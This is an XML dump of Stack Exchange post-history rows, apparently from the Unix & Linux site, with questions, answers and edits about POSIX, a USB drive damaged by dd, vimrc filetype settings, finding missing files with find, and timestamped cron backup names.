  <row Id="29242" PostHistoryTypeId="2" PostId="11986" RevisionGUID="43e7c3ff-1319-4817-b79a-ec6eef736589" CreationDate="2011-04-25T18:03:42.490" UserId="5535" Text="POSIX is the Portable Operating System standard. It describes certain utilities, APIs, and services a compliant operating system must provide to software (for example sockets, file I/O and threading)  along with conventions on how these should be called from a program.&#xD;&#xA;&#xD;&#xA;The idea is that a program written for one POSIX-Compliant OS would be easier to port to another POSIX-compliant OS than porting between non-POSIX-compliant OSes. This is why it is much easier to port an application from, say, FreeBSD to Linux than it is to port it from FreeBSD to Windows (though Windows ostensibly supports a subset of POSIX.)" />
  <row Id="29243" PostHistoryTypeId="25" PostId="11983" RevisionGUID="1650e840-7374-4b14-8883-182df021fdd8" CreationDate="2011-04-25T18:09:10.603" Comment="http://twitter.com/#!/StackUnix/status/62578915293663232" />
  <row Id="29244" PostHistoryTypeId="5" PostId="11985" RevisionGUID="c53a9c75-14de-499d-9968-c137c36bf850" CreationDate="2011-04-25T18:12:40.790" UserId="2333" Comment="added 559 characters in body" Text="I have a 1GB USB flash drive which I wanted to use as an installation medium for Linux distros. My first experiment was to be installing Arch on an old laptop (old enough that if I really messed it up, it wouldn't matter). I downloaded the ISO image, and put the USB into the port; it mounted automatically. Following the instructions on Arch's installation how-to page, I ran `dd if archlinux-XXXX.iso of /dev/sdg1`. I then could not see any files on the USB (whether using `ls` or nautilus). I umounted it, then plugged it back in, and it had some files on it. I'm afraid I can't remember exactly what they were, but I'm pretty sure I saw a directory named `/boot`.&#xD;&#xA;&#xD;&#xA;I then plugged it into the laptop, which would not boot from the flash drive. I plugged the USB back into my main computer, only to be told:&#xD;&#xA;&#xD;&#xA;    Unable to mount 168 MB Filesystem&#xD;&#xA;    Error mounting: mount: wrong fs type, bad option, bad superblock on /dev/sdg1,&#xD;&#xA;    missing codepage or helper program, or other error&#xD;&#xA;    In some cases useful info is found in syslog - try dmesg | tail or so&#xD;&#xA;&#xD;&#xA;That command, `dmesg | tail`, gives the following:&#xD;&#xA;    [338915.672127] UDF-fs: No anchor found&#xD;&#xA;    [338915.672133] UDF-fs: No partition found (1)&#xD;&#xA;    [338955.452708] UDF-fs: No anchor found&#xD;&#xA;    [338955.452714] UDF-fs: Rescanning with blocksize 2048&#xD;&#xA;    [338955.479829] UDF-fs: No anchor found&#xD;&#xA;    [338955.479834] UDF-fs: No partition found (1)&#xD;&#xA;    [338955.527366] UDF-fs: No anchor found&#xD;&#xA;    [338955.527373] UDF-fs: Rescanning with blocksize 2048&#xD;&#xA;    [338955.555208] UDF-fs: No anchor found&#xD;&#xA;    [338955.555213] UDF-fs: No partition found (1)&#xD;&#xA;&#xD;&#xA;So I'm curious about what has happened here. Did I do something wrong somewhere? Why is the error message referring to a 168 MB device, when it's supposed to be 1 GB? Also, is there any way to salvage the flash drive, or is it toast?&#xD;&#xA;&#xD;&#xA;Edit: Information from `fdisk /dev/sdg`&#xD;&#xA;    Command (m for help): p [print the partition table]&#xD;&#xA;&#xD;&#xA;    Disk /dev/sdg: 1021 MB, 1021125120 bytes&#xD;&#xA;    64 heads, 32 sectors/track, 973 cylinders, total 1994385 sectors&#xD;&#xA;    Units = sectors of 1 * 512 = 512 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0xe797d5bb&#xD;&#xA;&#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sdg1   *           0      327679      163840   17  Hidden HPFS/NTFS&#xD;&#xA;" />
  <row Id="29245" PostHistoryTypeId="2" PostId="11987" RevisionGUID="9a22a7ba-7a54-4fc1-827e-2a63da2b910a" CreationDate="2011-04-25T18:15:27.493" UserId="6934" Text="I'm struggling with using .vimrc to apply specific configurations based on the filetype.  Following the `autocmd FileType` suggestion [here](http://www.polarhome.com/vim/manual/v57/autocmd.html#autocmd-filetypes), I have attempted to apply a configuration based on filetype.  Here is what I have in my .vimrc:&#xD;&#xA;&#xD;&#xA;    autocmd FileType tex call Tex_config()&#xD;&#xA;      function Tex_config()&#xD;&#xA;        let g:LatexBox_viewer = 'skim'&#xD;&#xA;        let g:LatexBox_latexmk_options = '-pvc'&#xD;&#xA;        let g:tex_flavor = &quot;latex&quot;&#xD;&#xA;        setlocal spell spelllang=en_ca&#xD;&#xA;      endfunction&#xD;&#xA;&#xD;&#xA;I can call the function Tex_config() with :debug Tex_config: Vim happily spets through the function.  So, everything seems like it should work.&#xD;&#xA;&#xD;&#xA;But, when I issue `:set filetype=tex` something strange happens: spell checking turns off.  And when I issue `:set filetype=foo` spell checking turns on.  Just the reverse of what I expect to happen from this configuration snippet!&#xD;&#xA;&#xD;&#xA;Any assistance would be greatly appreciated.  Here is the full [vimrc](https://github.com/curiousyogurt/dotvim/blob/master/vimrc) (function at 44-50).  Thanks." />
  <row Id="29246" PostHistoryTypeId="1" PostId="11987" RevisionGUID="9a22a7ba-7a54-4fc1-827e-2a63da2b910a" CreationDate="2011-04-25T18:15:27.493" UserId="6934" Text="Vim config for specific filetypes" />
  <row Id="29247" PostHistoryTypeId="3" PostId="11987" RevisionGUID="9a22a7ba-7a54-4fc1-827e-2a63da2b910a" CreationDate="2011-04-25T18:15:27.493" UserId="6934" Text="évimà" />
  <row Id="29248" PostHistoryTypeId="2" PostId="11988" RevisionGUID="6c226c61-00ee-4441-92f7-b7c2fbb41cea" CreationDate="2011-04-25T18:18:35.977" UserId="1925" Text="Perhaps your vim spell checker is functioning properly for whatever your default `spelllang` value is, but it's failing to initialize for `en_ca`." />
  <row Id="29249" PostHistoryTypeId="4" PostId="11969" RevisionGUID="3ce69c78-b013-44de-a8f1-2d72f3bcfea3" CreationDate="2011-04-25T18:19:51.640" UserId="6803" Comment="Corrected title" Text="Launching a GUI application in RHEL 5 hangs" />
  <row Id="29250" PostHistoryTypeId="24" PostId="11969" RevisionGUID="3ce69c78-b013-44de-a8f1-2d72f3bcfea3" CreationDate="2011-04-25T18:19:51.640" Comment="Proposed by 6803 approved by -1 edit id of 321" />
  <row Id="29251" PostHistoryTypeId="5" PostId="11969" RevisionGUID="5b59383e-67cb-4589-a6a6-7ecdca41bfe8" CreationDate="2011-04-25T18:19:52.077" UserId="885" Comment="formatting; tags" Text="When I try to launch any GUI application through a terminal in my RHEL 5.4, it takes a very long time for the GUI to come up.  Also, sometimes it just hangs.&#xD;&#xA;&#xD;&#xA;I see the following messages in the terminal :&#xD;&#xA;&#xD;&#xA;    Launching a SCIM daemon with Socket FrontEnd...&#xD;&#xA;    GTK IM Module SCIM : Cannot connect to Panel!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What might be the issue?" />
  <row Id="29252" PostHistoryTypeId="6" PostId="11969" RevisionGUID="5b59383e-67cb-4589-a6a6-7ecdca41bfe8" CreationDate="2011-04-25T18:19:52.077" UserId="885" Comment="formatting; tags" Text="élinuxàégnomeàérhelàéscimà" />
  <row Id="29253" PostHistoryTypeId="5" PostId="11988" RevisionGUID="a6654b1f-961a-4bd0-bcc5-dcfa0594f93b" CreationDate="2011-04-25T18:39:35.810" UserId="1925" Comment="added 198 characters in body; added 185 characters in body; edited body" Text="After comparing your `.vimrc` with mine it seems the primary difference is that all of my function commands end with a bang like this: &#xD;&#xA;&#xD;&#xA;    function! ExtPrefFunction()&#xD;&#xA;       &quot; Preferences here&#xD;&#xA;    endfunction&#xD;&#xA;    autocmd Filetype ext call ExtPrefFunction()&#xD;&#xA;&#xD;&#xA;Honestly I don't know why they are that way, but mine work. Also you do this:&#xD;&#xA;&#xD;&#xA;    if &amp;filetype == &quot;ext&quot;&#xD;&#xA;        &quot; Preferences here&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;...but that only registers when you first open the file for editing, not any time the filetype indicator changes." />
  <row Id="29254" PostHistoryTypeId="2" PostId="11989" RevisionGUID="2569423e-225c-404a-b3d7-f6d62afdabbf" CreationDate="2011-04-25T18:54:10.940" UserId="6245" Text="I have a list of files that I want to check if they exist on my filesystem.  I thought of doing this using `find` as in:&#xD;&#xA;&#xD;&#xA;    for f in $(cat file_list); do&#xD;&#xA;    find . -name $f &gt; /dev/null || print $f&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;(using `zsh`) but that doesn't work as `find` seems to exit `0` whether or not it finds the file.  I guess I could pass it through some other test which tests to see if `find` produces any output (crude but effective would be to replace the `&gt; /dev/null` with `|grep ''`) but this feels like using a troll to catch a goat (other nationalities might say something about sledgehammers and walnuts).&#xD;&#xA;&#xD;&#xA;Is there a way to coerce `find` in to giving me a useful exit value?  Or at least to get a list of those files that _weren't_ found?  (I can imagine the latter being perhaps easier by some cunning choice of logical connectives, but I seem to always get tied up in knots when I try to figure it out.)&#xD;&#xA;&#xD;&#xA;**Background/Motivation:** I have a &quot;master&quot; backup and I want to check that some files on my local machine exist on my master backup before deleting them (to create a bit of space).  So I made a list of the files, `ssh`ed them to the master machine, and was then at a loss for figuring out the best way to find the missing files." />
  <row Id="29255" PostHistoryTypeId="1" PostId="11989" RevisionGUID="2569423e-225c-404a-b3d7-f6d62afdabbf" CreationDate="2011-04-25T18:54:10.940" UserId="6245" Text="How do I find which files are missing from a list?" />
  <row Id="29256" PostHistoryTypeId="3" PostId="11989" RevisionGUID="2569423e-225c-404a-b3d7-f6d62afdabbf" CreationDate="2011-04-25T18:54:10.940" UserId="6245" Text="éfindà" />
  <row Id="29257" PostHistoryTypeId="2" PostId="11990" RevisionGUID="7656ce0a-1aa2-4e05-9567-d12ca33f51ce" CreationDate="2011-04-25T18:58:06.130" UserId="1925" Text="&lt;strike&gt;You could use `stat` to determine if a file exists on the file system.&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;You should use the built in [shell functions][1] to test if files exist.&#xD;&#xA;&#xD;&#xA;    while read f; do&#xD;&#xA;       test -f &quot;$f&quot; || echo $f&#xD;&#xA;    done &lt; file_list]&#xD;&#xA;&#xD;&#xA;The &quot;test&quot; is optional and the script will actually work without it, but I left it there for readability.&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/fto.html" />
  <row Id="29258" PostHistoryTypeId="2" PostId="11991" RevisionGUID="58960bed-6f6f-49e8-b7eb-a38663c2c20d" CreationDate="2011-04-25T19:29:31.847" UserId="5931" Text="If you were working from [Official Arch Linux Install Guide](https://wiki.archlinux.org/index.php/Official_Arch_Linux_Install_Guide#Preparing_the_Installation_Media), note that it says:&#xD;&#xA;&#xD;&#xA;&gt; Make sure to use /dev/sdX and not /dev/sdX1&#xD;&#xA;&#xD;&#xA;Assuming you did `dd` to `/dev/sdg1` (as opposed to mistyping the command in your question), you've copied the ISO image into a partition on the flash drive. The partition is likely too small to hold the ISO, and the boot sector of `/dev/sdg` was untouched.&#xD;&#xA;&#xD;&#xA;Probably the best thing to do is re-`dd` the image, using the correct target. Once that's done, `fdisk` will probably say you don't have a partition table. Note that in your `fdisk` output, the total device size is correct, 1021 MB. It's hard to say why the drive might have been formatted with a 168 MB partition. &#xD;&#xA;&#xD;&#xA;It is possible to put the ISO in a partition, as long as the partition is big enough, but that's less likely to be bootable." />
  <row Id="29259" PostHistoryTypeId="4" PostId="11974" RevisionGUID="dd431f20-5245-4f6d-b8de-786da42d591e" CreationDate="2011-04-25T19:35:18.733" UserId="6803" Comment="Modified title to understand clearly what is asked." Text="Resizing and croping images to an aspect ratio of 6x4 with width of 1024 pixels" />
  <row Id="29260" PostHistoryTypeId="24" PostId="11974" RevisionGUID="dd431f20-5245-4f6d-b8de-786da42d591e" CreationDate="2011-04-25T19:35:18.733" Comment="Proposed by 6803 approved by 885 edit id of 322" />
  <row Id="29261" PostHistoryTypeId="5" PostId="11987" RevisionGUID="0a8a96aa-f99c-47c4-8252-2e76c619fcf7" CreationDate="2011-04-25T19:35:57.003" UserId="6934" Comment="added 147 characters in body" Text="I'm struggling with using .vimrc to apply specific configurations based on the filetype.  Following the `autocmd FileType` suggestion [here](http://www.polarhome.com/vim/manual/v57/autocmd.html#autocmd-filetypes), I have attempted to apply a configuration based on filetype.  Here is what I have in my .vimrc:&#xD;&#xA;&#xD;&#xA;    autocmd FileType tex call Tex_config()&#xD;&#xA;      function Tex_config()&#xD;&#xA;        let g:LatexBox_viewer = 'skim'&#xD;&#xA;        let g:LatexBox_latexmk_options = '-pvc'&#xD;&#xA;        let g:tex_flavor = &quot;latex&quot;&#xD;&#xA;        setlocal spell spelllang=en_ca&#xD;&#xA;      endfunction&#xD;&#xA;&#xD;&#xA;I can call the function Tex_config() with :debug Tex_config: Vim happily spets through the function.  So, everything seems like it should work.&#xD;&#xA;&#xD;&#xA;But, when I issue `:set filetype=tex` something strange happens: spell checking turns off.  And when I issue `:set filetype=foo` spell checking turns on.  Just the reverse of what I expect to happen from this configuration snippet!&#xD;&#xA;&#xD;&#xA;Any assistance would be greatly appreciated.  Here is the full [vimrc](https://github.com/curiousyogurt/dotvim/blob/master/vimrc) (function at 44-50).  Thanks.&#xD;&#xA;&#xD;&#xA;Update: Another part of the puzzle: when I load a TeX file, preferences are read without a problem.  The problem arises on `:set filetype=tex`." />
  <row Id="29262" PostHistoryTypeId="5" PostId="11990" RevisionGUID="756bac54-0409-4c1e-8d18-aebdcf3733d2" CreationDate="2011-04-25T19:38:34.097" UserId="1925" Comment="deleted 1 characters in body" Text="&lt;strike&gt;You could use `stat` to determine if a file exists on the file system.&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;You should use the built in [shell functions][1] to test if files exist.&#xD;&#xA;&#xD;&#xA;    while read f; do&#xD;&#xA;       test -f &quot;$f&quot; || echo $f&#xD;&#xA;    done &lt; file_list&#xD;&#xA;&#xD;&#xA;The &quot;test&quot; is optional and the script will actually work without it, but I left it there for readability.&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/fto.html" />
  <row Id="29263" PostHistoryTypeId="5" PostId="11990" RevisionGUID="d90c9a0b-3f75-4bb2-a1e9-cf0b8033a0a6" CreationDate="2011-04-25T19:45:29.617" UserId="1925" Comment="added 637 characters in body" Text="&lt;strike&gt;You could use `stat` to determine if a file exists on the file system.&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;You should use the built in [shell functions][1] to test if files exist.&#xD;&#xA;&#xD;&#xA;    while read f; do&#xD;&#xA;       test -f &quot;$f&quot; || echo $f&#xD;&#xA;    done &lt; file_list&#xD;&#xA;&#xD;&#xA;The &quot;test&quot; is optional and the script will actually work without it, but I left it there for readability.&#xD;&#xA;&#xD;&#xA;**Edit:** If you really have no option but to work for a list of filenames without paths, I suggest you build a list of files once with find, then iterate over it with grep to figure out which files are there.&#xD;&#xA;&#xD;&#xA;    find -type f /dst &gt; $TMPFILE&#xD;&#xA;    while read f; do&#xD;&#xA;        grep -q &quot;/$f$&quot; $TIMPFILE || echo $f&#xD;&#xA;    done &lt; file_list&#xD;&#xA;&#xD;&#xA;Note that:&#xD;&#xA;&#xD;&#xA; - the file list only includes files not directories,&#xD;&#xA; - the slash in the grep match pattern is so we compare full file names not partials,&#xD;&#xA; - and the last '$' in the search pattern is to match the end of the line so you don't get directory matches, only full file name patches. &#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/fto.html" />
  <row Id="29264" PostHistoryTypeId="2" PostId="11992" RevisionGUID="7c39c45a-7fe7-4ece-b1ed-da75b0d12e7b" CreationDate="2011-04-25T20:15:37.390" UserId="4962" Text="    FIND_EXP=&quot;. -type f \( &quot;&#xD;&#xA;    while read f; do&#xD;&#xA;       FIND_EXP=&quot;${FIND_EXP} -iname $f -or&quot;&#xD;&#xA;    done &lt; file_list&#xD;&#xA;    FIND_EXP=&quot;${var%-or}&quot;&#xD;&#xA;    FIND_EXP=&quot;${FIND_EXP} \)&quot;&#xD;&#xA;    find ${FIND_EXP}&#xD;&#xA;&#xD;&#xA;Maybe?" />
  <row Id="29265" PostHistoryTypeId="2" PostId="11993" RevisionGUID="265961f3-cd25-4ed1-b716-8d85076c3cc0" CreationDate="2011-04-25T20:28:21.547" UserId="885" Text="`find` considers finding nothing a special case of success (no error occurred). A general way to test whether files match some `find` criteria is to test whether the output of `find` is empty. For better efficiency when there are matching files, use `-quit` on GNU find to make it quit at the first match, or `head` (`head -c 1` if available, otherwise `head -n 1` which is standard) on other systems to make it die of a broken pipe rather than produce long output.&#xD;&#xA;&#xD;&#xA;    while IFS= read -r name; do&#xD;&#xA;      [ -n &quot;$(find . -name &quot;$name&quot; -print | head -n 1)&quot; ] || printf '%s\n' &quot;$name&quot;&#xD;&#xA;    done &lt;file_list&#xD;&#xA;&#xD;&#xA;In bash ≥4 or zsh, you don't need the external `find` command for a simple name match: you can use `**/$name`. Bash version:&#xD;&#xA;&#xD;&#xA;    shopt -s nullglob&#xD;&#xA;    while IFS= read -r name; do&#xD;&#xA;      set -- **/&quot;$name&quot;&#xD;&#xA;      [ $# -ge 1 ] || printf '%s\n' &quot;$name&quot;&#xD;&#xA;    done &lt;file_list&#xD;&#xA;    &#xD;&#xA;Zsh version:&#xD;&#xA;&#xD;&#xA;    while IFS= read -r name; do&#xD;&#xA;      set -- **/&quot;$name&quot;(N)&#xD;&#xA;      [ $# -ge 1 ] || print -- &quot;$name&quot;&#xD;&#xA;    done &lt;file_list&#xD;&#xA;&#xD;&#xA;It would be more efficient to combine all your names into one search. If the number of patterns is not too large for your system's length limit on a command line, you can join all the names with `-o`, make a single `find` call, and post-process the output. If none of the names contain shell metacharacters (so that the names are `find` patterns as well), here's a way to post-process with awk (untested):&#xD;&#xA;&#xD;&#xA;    set -o noglob; IFS='&#xD;&#xA;    '&#xD;&#xA;    set -- $(&lt;file_list sed -e '2,$s/^/-o\&#xD;&#xA;    /')&#xD;&#xA;    set +o noglob; unset IFS&#xD;&#xA;    find . \( &quot;$@&quot; \) -print | awk -F/ '&#xD;&#xA;        BEGIN {while (getline &lt;&quot;file_list&quot;) {found[$0]=0}}&#xD;&#xA;        wanted[$0]==0 {found[$0]=1}&#xD;&#xA;        END {for (f in found) {if (found[f]==0) {print f}}}&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Another approach would be to use Perl and `File::Find`, which makes it easy to run Perl code for all the files in a directory.&#xD;&#xA;&#xD;&#xA;    perl -MFile::Find -l -e '&#xD;&#xA;        %missing = map {chomp; $_, 1} &lt;STDIN&gt;;&#xD;&#xA;        find(sub {delete $missing{$_}}, &quot;.&quot;);&#xD;&#xA;        print foreach sort keys %missing'&#xD;&#xA;&#xD;&#xA;An alternate approach is to generate a list of file names on both sides and work on a text comparison. Zsh version:&#xD;&#xA;&#xD;&#xA;    comm -23 &lt;(&lt;file_list sort) &lt;(print -rl -- **/*(:t) | sort)&#xD;&#xA;" />
  <row Id="29267" PostHistoryTypeId="6" PostId="2884" RevisionGUID="5b18e945-0f6b-4520-bb16-31e657aa79f5" CreationDate="2011-04-25T20:42:34.020" UserId="885" Comment="edited tags" Text="ébashàékeyboardöshortcutsàéconsoleàéxmodmapà" />
  <row Id="29268" PostHistoryTypeId="2" PostId="11994" RevisionGUID="f4a0e105-eca8-4688-8dcb-b00da3340b08" CreationDate="2011-04-25T20:57:48.397" UserId="4485" Text="A first, simplistic approach, could be:&#xD;&#xA;&#xD;&#xA;a) sort your filelist: &#xD;&#xA;&#xD;&#xA;    sort file.lst &gt; sorted.lst &#xD;&#xA;    for f in $(&lt; sortd.lst) ; do find -name $f -printf &quot;%f\n&quot;; done &gt; found.lst&#xD;&#xA;    diff sorted.lst found.lst&#xD;&#xA;to find missings, or&#xD;&#xA;&#xD;&#xA;    comm sorted.lst found.lst&#xD;&#xA;to find matches&#xD;&#xA;&#xD;&#xA; * Pitfalls: &#xD;&#xA;  * Newlines in filenames are very hard to handle&#xD;&#xA;  * blanks and similar things in filenames aren't nice too. But since you have control over the files in the list of files, maybe this solution is already sufficient, however ...&#xD;&#xA; * Drawbacks: &#xD;&#xA;  * When find finds a file, it keeps running to find another one, and another one. It would be nice to skip further search. &#xD;&#xA;  * find could search for multiple files at once, with some preparation: &#xD;&#xA;&#xD;&#xA;     find -name a.file -or -name -b.file -or -name c.file ...&#xD;&#xA;&#xD;&#xA;Could locate be an option? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="29269" PostHistoryTypeId="2" PostId="11995" RevisionGUID="21e743ce-55a4-4cba-9edb-9b72cfe448ed" CreationDate="2011-04-25T21:01:50.983" UserId="885" Text="I'm pretty sure there's no way to do this in full generality, because text cursors are an application feature, not a server feature like mouse cursors. The application decides where to place input based on its internal data structures, and the text cursor is a way to tell the user what it's going to do with the input. As far as the X server is concerned, there's a focused window and that's it; the focused window does whatever it likes with the input.&#xD;&#xA;&#xD;&#xA;Now I can't think of an application that actually has more than one text cursor, in an abstract UI sense (some have none, of course). But unless the application has an interface to tell others where the text cursor, or the text cursor is visually distinctive, I don't think you can get at it.&#xD;&#xA;" />
  <row Id="29270" PostHistoryTypeId="6" PostId="11652" RevisionGUID="81484555-e08d-47d8-b15f-aa9daa681306" CreationDate="2011-04-25T21:04:48.550" UserId="885" Comment="edited tags" Text="ékeyboardàéopenbsdàéconsoleàéencodingà" />
  <row Id="29271" PostHistoryTypeId="5" PostId="11973" RevisionGUID="1328a146-8eb1-411e-9a56-36460f8d9c71" CreationDate="2011-04-25T21:05:51.917" UserId="885" Comment="added 77 characters in body; edited tags; edited title" Text="How can I print an SVG, already scaled to a4 size, from the command line?&#xD;&#xA;I tried using `lpr`, but instead the printer just printed out the actual XML of the file, which isn't what I wanted." />
  <row Id="29272" PostHistoryTypeId="4" PostId="11973" RevisionGUID="1328a146-8eb1-411e-9a56-36460f8d9c71" CreationDate="2011-04-25T21:05:51.917" UserId="885" Comment="added 77 characters in body; edited tags; edited title" Text="Print an SVG from the command line" />
  <row Id="29273" PostHistoryTypeId="6" PostId="11973" RevisionGUID="1328a146-8eb1-411e-9a56-36460f8d9c71" CreationDate="2011-04-25T21:05:51.917" UserId="885" Comment="added 77 characters in body; edited tags; edited title" Text="écommandölineàéprintingàécupsàésvgà" />
  <row Id="29274" PostHistoryTypeId="25" PostId="11989" RevisionGUID="b83018c6-4c66-48f7-b8aa-40dc068423d4" CreationDate="2011-04-25T21:09:11.003" Comment="http://twitter.com/#!/StackUnix/status/62624215878221824" />
  <row Id="29275" PostHistoryTypeId="6" PostId="11974" RevisionGUID="b1573b2e-5780-4cdd-b57c-62c7cd3196dc" CreationDate="2011-04-25T21:11:11.243" UserId="885" Comment="edited tags" Text="écommandölineàéimageömanipulationàéimagemagickà" />
  <row Id="29276" PostHistoryTypeId="6" PostId="11970" RevisionGUID="ad505b78-9b67-4439-a58f-1a2bd8203cd6" CreationDate="2011-04-25T21:12:52.303" UserId="885" Comment="edited tags" Text="éawkà" />
  <row Id="29277" PostHistoryTypeId="6" PostId="11939" RevisionGUID="31cb32b4-20a9-49f8-95a2-12e62014b24d" CreationDate="2011-04-25T21:15:40.353" UserId="885" Comment="edited tags" Text="étextöprocessingàéuniqà" />
  <row Id="29278" PostHistoryTypeId="2" PostId="11996" RevisionGUID="f8c55de0-71c9-4046-8fc8-351d4cef864f" CreationDate="2011-04-25T21:27:39.000" UserId="6167" Text="POSIX first was a standard in 1988 before the Single Unix Specification.  It was one of the attempts at unifying all the various UNIX forks and UNIX-like systems.  POSIX is an IEEE Standard, but as the IEEE does not own the UNIX trademark, the standard is not UNIX though it is based on the existing UNIX API at that time.  The first standard POSIX.1 is formally know as IEEE std 1003.1-1988.[[1]]  IEEE charged a substantial fee to obtain a copy of the standard.  The Open Group release SUSv2 in 1997 based on IEEE's work of the POSIX standard.  SUSv3 was released in 2001 from a joint group between IEEE and The Open Group know as the Austin Group.  SUSv3 is also know as POSIX:2001[[2]].  There is now also POSIX:2004 and POSIX:2008.  As for what UNIX is, UNIX is whatever the current trademark holder says it is.  Since 1994, that is The Open Group.  Novell acquired the UNIX systems business from AT&amp;T/USL which is where UNIX was born.  In 1994, they sold the right to the UNIX trademark to X/Open[[3]] now know as The Open Group.  They then sold the UNIX source code to SCO as UNIXWARE.[[3]]  UNIX itself has forked many times[[4]][[5]] partly due to AT&amp;T's licensing model.  Purchasing UNIX gave you the complete source of the operating system and the full tool-chain to build it.  Modifications to the source can be distributed and used by anyone who owned a license to UNIX from AT&amp;T.  The license fee was in the thousands.  BSD was a project at Berkeley which added a number of enhancements to the UNIX operating system.  BSD code was released under a much more liberal license than AT&amp;T's source and did not require a license fee or even a requirement to be distributed with source unlike the GPL.  This has cause a good part of the BSD code to be included with various commercial UNIX forks.  By around 4.3BSD, they had nearly replaced any need for the original AT&amp;T UNIX source code.  FreeBSD/NetBSD/OpenBSD are all forks of 4.3BSD that are a complete operating system and have none of the original AT&amp;T source code.  Nor do they have right to the UNIX trademark, but much of their code is used by commercial UNIX operating systems.  The Socket API used on UNIX was developed on BSD and the Unix Fast Filesystem code was borrowed and used on various UNIX Operating Systems like Solaris with their own enhancements.  Linux was developed in 1991, but was developed from scratch unlike BSD and used the existing GNU Project which was a clean-room implementation of much of the UNIX user-space.  It implement much of POSIX for compatibility and is UNIX-like in design, but it does not have the close connection to AT&amp;T or UNIX that the BSDs have.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/POSIX&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Single_UNIX_Specification&#xD;&#xA;[3]: http://www.unix.org/what_is_unix.html&#xD;&#xA;[4]: http://www.levenez.com/unix/&#xD;&#xA;[5]: http://www.bell-labs.com/history/unix/" />
  <row Id="29279" PostHistoryTypeId="2" PostId="11997" RevisionGUID="e811c900-e92a-4aa3-a891-8833bf8835b6" CreationDate="2011-04-25T21:36:35.303" UserId="885" Text="You can't hide anything that happens on the cluster from the other students. Since they're not doing anything different at the authentication stage, from the system's point of view, everything is done by the same user who can observe his own processes, debug them and so on.&#xD;&#xA;&#xD;&#xA;You can prevent other students from seeing your source code by compiling it on your machine and uploading only your binaries and launching scripts. If the server isn't running the same processor architecture as your PC, install a [cross-compiler](http://en.wikipedia.org/wiki/Cross_compiler). Gcc is easy to compile as a cross compiler, there are fairly clear instructions bundled with the source code. You'll need to also have the development packages for any libraries your programs are linked with.&#xD;&#xA;&#xD;&#xA;Once you've compiled the binaries on your machine, upload them to the server and run them. Other students will be able to grab your binaries, but decompiling them would be more work than doing the assignment, so that's not a major problem.&#xD;&#xA;&#xD;&#xA;Here are example Makefile snippets that may be useful:&#xD;&#xA;&#xD;&#xA;    CC = /usr/local/bin/powerpc-linux-eabi-gcc&#xD;&#xA;&#xD;&#xA;    test: myprogram&#xD;&#xA;            &lt;myprogram ssh cluster 'cat &gt;oadams; chmod +x oadams; trap &quot;rm ./oadams&quot; EXIT HUP INT TERM QUIT; time ./oadams'&#xD;&#xA;" />
  <row Id="29280" PostHistoryTypeId="2" PostId="11998" RevisionGUID="11b50e9e-45e1-4a38-93c0-d54e98ee8adb" CreationDate="2011-04-25T21:40:14.163" UserId="6939" Text="My cronjob looks like this: &#xD;&#xA;&#xD;&#xA;    5 3 * * * mysqldump -u root test &gt; /srv/backup/mysql_daily.dump&#xD;&#xA;&#xD;&#xA;How can I make filename unique for every time when cronjob writes mysql_daily.dump?" />
  <row Id="29281" PostHistoryTypeId="1" PostId="11998" RevisionGUID="11b50e9e-45e1-4a38-93c0-d54e98ee8adb" CreationDate="2011-04-25T21:40:14.163" UserId="6939" Text="How to add uniqie id to file nime in cron job?" />
  <row Id="29282" PostHistoryTypeId="3" PostId="11998" RevisionGUID="11b50e9e-45e1-4a38-93c0-d54e98ee8adb" CreationDate="2011-04-25T21:40:14.163" UserId="6939" Text="écronàéfilenamesà" />
  <row Id="29283" PostHistoryTypeId="2" PostId="11999" RevisionGUID="a35fbf3a-3b78-4d80-b3c0-d2c220cc61c1" CreationDate="2011-04-25T21:43:14.930" UserId="6175" Text="For bash, maybe:&#xD;&#xA;&#xD;&#xA;    ... &gt; /srv/backup/mysql_daily-$(date -u +%Y%m%dt%H%M%S).${RANDOM}.dump&#xD;&#xA;&#xD;&#xA;Personally, i generally only put simple commands in my `crontab`. I'd put this in a little script and use the script in the `crontab`.&#xD;&#xA;" />
  <row Id="29284" PostHistoryTypeId="2" PostId="12000" RevisionGUID="2883bfcc-295c-413d-ae8b-1323dd437103" CreationDate="2011-04-25T21:44:48.010" UserId="591" Text="Try&#xD;&#xA;&#xD;&#xA;    5 3 * * * mysqldump -u root test &gt; /srv/backup/mysql_daily.$(/bin/date +%Y%m%d).dump&#xD;&#xA;&#xD;&#xA;which will put the current [date][1] in the format YYYYMMDD into the filename. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/date" />
  <row Id="29285" PostHistoryTypeId="2" PostId="12001" RevisionGUID="8f0a74d3-5f01-417f-9a6a-ec62e6f1659f" CreationDate="2011-04-25T21:53:37.480" UserId="1925" Text="The general practice for this is to use a timestamp using `date +%s` to generate something useful to mark the file (I used seconds as an example but you can use any date format). It's really not necessary to have a truly unique file name as long as the file name doesn't conflict.&#xD;&#xA;&#xD;&#xA;    5 3 * * * mysqldump -u root test &gt; /srv/backup/mysql_daily_`date +%s`.dump" />
